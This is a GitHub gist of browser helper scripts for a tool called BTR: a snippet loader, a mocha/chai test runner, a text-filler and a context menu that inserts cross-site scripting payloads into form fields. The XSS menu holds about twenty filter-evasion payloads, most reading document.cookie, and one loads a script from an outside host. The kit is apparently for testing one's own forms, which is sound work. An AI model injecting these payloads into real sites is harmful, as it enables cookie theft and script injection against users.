Skip to content

Instantly share code, notes, and snippets.

@bastsoft
Last active August 29, 2015 14:17
Show Gist options
  • Save bastsoft/5ec0eb5d78fbcb6715c3 to your computer and use it in GitHub Desktop.
Save bastsoft/5ec0eb5d78fbcb6715c3 to your computer and use it in GitHub Desktop.
example task for BTR

#example task for BTR

Examples load

btr.loadGist({ url: 'https://gist.github.com/', id: '5ec0eb5d78fbcb6715c3'}, function(){
  btr.contextMenu('body', {
   'perfmap' : btr.load('https://zeman.github.io/perfmap/perfmap.js'),
   'dataurl' : btr.load('https://cdn.rawgit.com/bgrins/devtools-snippets/master/snippets/dataurl/dataurl.js'),
   'printliminator': btr.load('https://css-tricks.com/examples/ThePrintliminator/js/printliminator.js', function(){
     printlimator();
   })
 });
});

###runTest.js

  btr.taskTest = btr.functionGist('runTest.js')();
  var runTest = function(name){
    return btr.taskTest.bind(null, btr.functionGist(name));
  }; 
 
  btr.contextMenu('body', {
   runTest:  runTest('test.js')
  });
var expect = chai.expect;
describe('block', function () {
 describe('method', function () {
  it('test name', function () {
   expect(1).to.equal(1);
  });
 });
}); 

###testInput & replaceText

 btr.contextMenu('body', {
   testInput: btr.functionGist('testInput.js'),
   replaceText: btr.functionGist('replaceText.js')
 });
var replaceSelection = function(simpleText) {
if (window.getSelection || document.getSelection) {
var range = window.getSelection().getRangeAt(0);
var selectionContents = range.extractContents();
range.insertNode(document.createTextNode(simpleText))
} else {
var selection = document.selection && document.selection.createRange();
if (selection.text) {
selection.pasteHTML(simpleText);
};
};
};
var getUnbrokenString = function(str, len){
var unbrokenString = str;
var value = '';
if (unbrokenString.indexOf('loremrus') !== -1){
unbrokenString = 'Но чтобы вы поняли, откуда возникает это превратное представление людей, порицающих наслаждение и восхваляющих страдания, я раскрою перед вами всю картину и разъясню, что именно говорил этот человек, открывший истину, которого я бы назвал зодчим счастливой жизни. Действительно, никто не отвергает, не презирает, не избегает наслаждений только из-за того, что это наслаждения, но лишь из-за того, что тех, кто не умеет разумно предаваться наслаждениям, постигают великие страдания. Равно как нет никого, кто возлюбил бы, предпочел и возжаждал бы само страдание только за то, что это страдание, а не потому, что иной раз возникают такие обстоятельства, когда страдания и боль приносят некое и немалое наслаждение. Если воспользоваться простейшим примером, то и будут вот такие итоги';
}
if (unbrokenString.indexOf('lorem') !== -1){
unbrokenString = 'Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum. ';
}
for (var i =0;i<Number(len);i++){
value = value + unbrokenString;
}
return value;
};
replaceSelection(getUnbrokenString(prompt('string'), prompt('number')));
return function (callBack) {
btr.load([
[window.mocha,'https://cdnjs.cloudflare.com/ajax/libs/mocha/2.1.0/mocha.js' ],
[(window.mocha || {}).WebKit, 'https://cdn.rawgit.com/bastsoft/loca/master/loca.js' ],
[window.chai, 'https://cdnjs.cloudflare.com/ajax/libs/chai/1.10.0/chai.js' ],
[(window.chai || {}).spy, 'https://cdn.rawgit.com/chaijs/chai-spies/60ceac0394db253ff5e64f97bae69051daa5e488/chai-spies.js']
], function () {
mocha.reporter(mocha.WebKit);
mocha.setup({ ui: 'bdd', globals: [''] });
mocha.suite.suites = [];
callBack();
mocha.run();
});
};
btr.onmousedownSelectElement = function(e){
e = e || window.event;
btr.selectElement = e.target || e.srcElement;
};
var onmousedown = function(el){
el.setAttribute('onmousedown', 'btr.onmousedownSelectElement(arguments[0])');
};
Array.prototype.forEach.call(document.querySelectorAll('textarea'), onmousedown);
Array.prototype.forEach.call(document.querySelectorAll('input'), onmousedown);
btr.contextMenu(['textarea', 'input'], {
getUnbrokenString: function(e){
var getUnbrokenString = function(str, len){
var unbrokenString = str;
var value = '';
for (var i =0;i<Number(len);i++){
value = value + unbrokenString;
}
return value;
};
btr.selectElement.value = getUnbrokenString(prompt('string'), prompt('number'));
},
XSS: {
'simple alert': function(){
btr.selectElement.value = '\\\\\';alert(document.cookie);//';
},
'img' : function(){
btr.selectElement.value = '<img src=asdf onerror=alert(document.cookie)>';
},
'onload': function(){
btr.selectElement.value = '%22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)’%3E';
},
'script1': function(){
btr.selectElement.value = '“><s”%2b”cript>alert(document.cookie)</script>';
},
'script2': function(){
btr.selectElement.value = '%253cscript%253ealert(document.cookie)%253c/script%253e';
},
'script3': function(){
btr.selectElement.value = '“><script >alert(document.cookie)</script>';
},
'iframe': function(){
btr.selectElement.value = '<IFRAME SRC="javascript:alert(\'XSS\');"></IFRAME>';
},
'frame': function(){
btr.selectElement.value = '<FRAMESET><FRAME SRC="javascript:alert(\'XSS\');"></FRAMESET>';
},
'body': function(){
btr.selectElement.value = '<BODY BACKGROUND="javascript:alert(\'XSS\')">';
},
'iframe2': function(){
btr.selectElement.value = '"><iframe src=google.de></iframe>';
},
'body2': function(){
btr.selectElement.value = '<BODY onload!#$%&amp;()*~+-_.,:;?@[/|\\]^`=alert("XSS")>';
},
'img2': function(){
btr.selectElement.value = 'perl -e \'print "<IMG SRC=java\\0script:alert(\\"XSS\\")>";\' > out';
},
'img3': function(){
btr.selectElement.value = '<IMG SRC="jav ascript:alert(\'XSS\');">';
},
'img4': function(){
btr.selectElement.value = '<IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041>';
},
'img5': function(){
btr.selectElement.value = '<IMG SRC=&amp;amp;#106;&amp;amp;#97;&amp;amp;#118;&amp;amp;#97;&amp;amp;#115;&amp;amp;#99;&amp;amp;#114;&amp;amp;#105;&amp;amp;#112;&amp;amp;#116;&amp;amp;#58;&amp;amp;#97;&amp;amp;#108;&amp;amp;#101;&amp;amp;#114;&amp;amp;#116;&amp;amp;#40;&amp;amp;#39;&amp;amp;#88;&amp;amp;#83;&amp;amp;#83;&amp;amp;#39;&amp;amp;#41;>';
},
'img6': function(){
btr.selectElement.value = '<IMG """><SCRIPT>alert("XSS")</SCRIPT>">';
},
'img7': function(){
btr.selectElement.value = '<IMG SRC=javascript:alert(\'XSS\')>';
},
'img8': function(){
btr.selectElement.value = '<IMG SRC="javascript:alert(\'XSS\');">';
},
'ml': function(){
btr.selectElement.value = '\'\';!--"<XSS>=&amp;amp;{()}';
},
'script4': function(){
btr.selectElement.value = '\';alert(String.fromCharCode(88,83,83))//\\\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">\'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>';
}
}
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment